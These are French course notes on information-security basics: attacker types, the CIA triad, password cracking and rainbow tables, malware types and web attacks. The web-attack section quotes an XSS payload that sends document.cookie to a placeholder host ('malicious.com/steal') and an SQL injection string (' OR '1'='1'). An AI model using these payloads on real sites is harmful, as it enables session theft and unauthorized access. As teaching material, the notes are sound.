

Type d’attaquants

- Script kiddy: Jouent avec des outils
- Pirates défi: Attirés par le défi
- Pirates vengeurs: Comme Sony (Par vengeance)
- Pirates par conviction: A but « politique »
- Pirates étatiques: Cyber-guerre / Cyber-espionnage

Intentions des attaquants

- Constructives: Test pénétration (pentest)
- Neutres: zone grise
- Destructives: Pirate Malveillances

Principe CIA

Confidentialité (Confidentiality)

- s’assurer que l’information est accessible seulement à ceux qui sont autorisés à y avoir accès

Intégrité (Integrity)

- protéger l’exactitude et la complétude de l’information et des méthodes de traitement

Disponibilité (Availability)

s’assurer que les utilisateurs autorisés ont accès à l’information et aux ressources associées au moment et au lieu exigés

Sécurité du système d’information

Cycle de vie

- une prévention (via une protection) contre les incidents de sécurité
- la détection (via une surveillance) de ces dernières
- la réaction (analyse, confinement)
- la récupération (reprise, sanctions éventuelles), puis analyse «post mortem» suite aux dommages survenus

5 couches de sécurité

Souvent décrite comme une sécurité sous forme d’oignon car composé de plusieurs couche.

1. Physique :
 - sécurité physique
2. Réseau :
 - architecture et éléments réseau, adressage IP.
3. Protocoles :
 - Protocoles de communication, middleware.
4. Hosts :
 - systèmes d’exploitation et applications hosts.
5. Applications :
 - langages de programmation, applications spécifiques/dédiées, données spécifiques.

Contrôle d’accès (AAA)

Authentication

- S’assurer que la personne est bien celle qu’elle prétend être
- Déterminer son identité et éventuellement son rôle

Authorization

- Détermine en fonction de l’identité (ou rôle), que cela soit une personne ou système, si l’accès (ou le traitement) est autorisé

Accounting/Auditing

- S’assurer qu’il soit possible de suivre les accès/ traitement qui ont été effectués
- Logging

5 principes fondamentaux

1. La sécurité globale est aussi forte que le maillon le plus faible
2. La sécurité parfaite n’existe pas
3. La sécurité est un processus, pas un produit
4. La sécurité est inversement proportionnelle à la complexité
5. Participation des utilisateurs

Types de menaces

- Accidentelles: mauvaises manips, suppression
- Environnementales: naturelle ou industrielle
- Délibérées: origine criminelle

Vulnérabilités

- Matériel: disque saturés / morts
- Logiciel: oubli / incompetence (WEF)
- Réseau: trafic non protégé
- Personnel: manque de formation
- Site (physique): alim instable
- Organisation: enregistrement d’utilisateurs

Attack Kill Chain

Malicious and ethical hackers use the same steps

1. Reconnaissance
2. Exploit
3. Post Exploit

Etapas:

1. Collecte d’informations
2. Scanning
3. Enumérations
4. Intrusions
5. Escalade de privilèges
6. Pillage
7. Nettoyage des traces
8. Backdoors, rootkits

Cassage de mots de passe

Hachage: procédé cryptographique à sens unique

En ligne: requêtes vers site web, serveur,...

Hors ligne: tout en local

Etapas

1. Obtenir les empreintes (hash)
2. Attaque
 - Force brute: toutes les combinaisons
 - Dictionnaire: liste générique/thématique
 - Heuristique: variations des éléments des dictionnaires
 - Pré-génération d’empreintes

Méthode Hellman

Hasher le MDP, réduire le hash, hasher la réduction, ...

Rainbow tables

Méthode de Hellman mais avec une réduction

différente à chaque étape

La réduction donne une chaine de lettres (plaintext)

- Evite les collisions
- Réduit l’espace nécessaire
- Réduit le temps de calcul

Empreinte salées

Ajoute une string aléatoire au mot de passe avant de le hasher. (i.e. le même mot de passe produira des hashes différents)

- Impossible de calculer à l’avance les tables de “crackage”

Hashage

- Win 98/ME: LM (LAN Manager)
- Win NT/2k/XP/2003: NTLM et LM
- Win Vista/7/8/10/11: NTLM

LAN and NTLAN Manager Hash

- Lan: Hash séparamment les deux parties du MDP, max 14 char (128b)
- NTLAN: Hash tout d’un coup, max 256 char (128b)

Identifiants

- vide: DES, sans sel
- 1: MD5 (vieux linux & BSD)
- 2a/2b/2x/2y: Blowfish (OpenBSD)
- 5/6: SHA-256/SHA-512 (Linux/FreeBSD)
- y: yescrypt (Linux & glibc récente)

Comparaison des méthodes de cassage

Méthode	Temps préparation	Temps cassage	Taille mémoire	Probabilité succès	Sel
Dictionnaire	0	?	Faible	?	Idem
Heuristique	0	?	Faible	?	Idem
Force brute	0	O(N)	0	100%	Idem
Pré- calculaion complète	O(N)	0	O(N)	100%	Plus Dur
Hellman	Long	Faible	Variable	50-95%	Plus Dur
Rainbow tables	Long	Faible	Variable	50-95%	Plus Dur

Authentification des emails

- SPF: vérifie que l’expéditeur est autorisé
- DKIM: vérifie signature authentique

Protection

- Utiliser TLS (Transport Layer Security protocol)
- Utiliser l’authentification
- Utiliser la messagerie sécurisée
 - chiffrement
 - signature électronique

Malware

Types

- Virus
 - Code executable

- Se reproduit automatiquement
- S’attache à d’autres programmes / fichiers
- Besoin des utilisateurs pour se propager
- Ver
 - Code executable
 - Se reproduit automatiquement
 - Se propage via les réseaux
 - Autonome (pas besoin d’utilisateurs)
- Spyware, Canular, Adware
- Gov-ware, Cyber War

Antivirus

Protection sur 4 niveaux recommandé

- Tous les postes clients
- Serveurs de fichiers
- Serveurs de messagerie
- Proxies internet

Sécurité web

Technologie Web

- Appel HTTP : Requête (méthode, URI, version) + Corps (données).
- Réponse HTTP : Statut (version, code, message) + Corps (données).
- En-têtes HTTP :
 - Général : Cache-Control, Date.
 - Requetes : Accept, User-Agent, Cookie, Authorization.
 - Réponse : Location, Server, Set-Cookie.
 - Contenu : Content-Encoding, Content-Length, Content-Type.
- HTTP sans état : Chaque requête indépendante.
- Cookies : Stockage d’informations utilisateur sur le client.

Attaques Web

- Manipulation des données.
 - URL initiale : http://site.com/view?item=123, URL manipulée : http://site.com/view?item=124 donc accès à l’item 124 qu’il n’est pas censé voir.

- Contournement de protections côté client.
 - Un formulaire de site limite le choix de valeurs à une liste déroulante via JavaScript on désactive JavaScript et soumet une valeur non autorisée.s

- Détournement de session.
 - Vole un cookie de session pour se faire passer pour un utilisateur légitime

- XSS (Cross-site scripting).
 - Injection de code malveillant dans un champ de saisie. <script>document.location='http://malicious.com/steal?cookie='+document.cookie</script> donc vol de cookie.

- CSRF (Cross-site request forgery).
 - Crée un lien malveillant qui effectue une action sur un site où l’utilisateur est déjà authentifié Cliquez ici

- Injection de commandes (SQL, système).
 - Dans un champ ou URL, injecte commande SQL type: username' OR '1'='1 qui fera SELECT * FROM users WHERE username='username' OR '1'='1' AND password='';
 - Suppression de fichiers

- Objectifs d’attaque :
 - Contourner la sécurité (authenticité).
 - Extraire/modifier des données (confidentialité, intégrité).

- Points d’injection :
 - Premier ordre : Entrées utilisateur, cookies, URLs.
 - Second ordre : Base de données, fichiers uploadés.

- Protection côté client : Toujours valider côté serveur.

Types d’attaques spécifiques

- Détournement de session :
 - Récupération d’un identifiant de session (vol de cookie, falsification d’URL).
- XSS :
 - Reflected XSS : Réponse immédiate, valeur contrôlée par le client.
 - Stored XSS : Valeur enregistrée et réutilisée.
 - DOM-based XSS : Exploite le code client.
- CSRF : Forcer une action malveillante via une URL.
- Injection de commandes :
 - SQL : Manipulation de requêtes SQL.
 - Système : Exécution de commandes systèmes non prévues.

Cryptographie

Sécurité logicielle

Sécurité réseau

Défense